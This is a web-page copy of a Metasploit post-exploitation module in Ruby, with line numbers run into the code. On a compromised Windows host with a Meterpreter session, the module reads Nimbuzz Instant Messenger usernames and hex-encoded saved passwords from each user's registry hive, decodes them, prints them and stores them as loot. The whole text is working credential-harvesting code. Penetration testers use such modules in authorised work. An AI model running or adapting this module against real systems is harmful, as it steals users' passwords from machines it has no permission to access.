Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/nimbuzz.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',14'Description' => %q{15This module extracts the account passwords saved by Nimbuzz Instant16Messenger in hex format.17},18'License' => MSF_LICENSE,19'Author' => [20'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',21'Unknown', # SecurityXploded Team, www.SecurityXploded.com22],23'Platform' => [ 'win' ],24'SessionTypes' => [ 'meterpreter' ]25)26)27end2829def run30creds = Rex::Text::Table.new(31'Header' => 'Nimbuzz Instant Messenger Credentials',32'Indent' => 1,33'Columns' =>34[35'User',36'Password'37]38)3940registry_enumkeys('HKU').each do |k|41next unless k.include? 'S-1-5-21'42next if k.include? '_Classes'4344vprint_status("Looking at Key #{k}")45subkeys = registry_enumkeys("HKU\\#{k}\\Software\\Nimbuzz\\")4647if subkeys.nil? || (subkeys == '')48print_status('Nimbuzz Instant Messenger not installed for this user.')49return50end5152user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", 'Username') || ''53hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", 'Password')5455next if hpass.nil? || (hpass == '')5657hpass =~ /.{11}(.*)./58decpass = [::Regexp.last_match(1)].pack('H*')59print_good("User=#{user}, Password=#{decpass}")60creds << [user, decpass]61end6263print_status('Storing data...')64path = store_loot(65'nimbuzz.user.creds',66'text/csv',67session,68creds.to_csv,69'nimbuzz_user_creds.csv',70'Nimbuzz User Credentials'71)72print_good("Nimbuzz user credentials saved in: #{path}")73end74end757677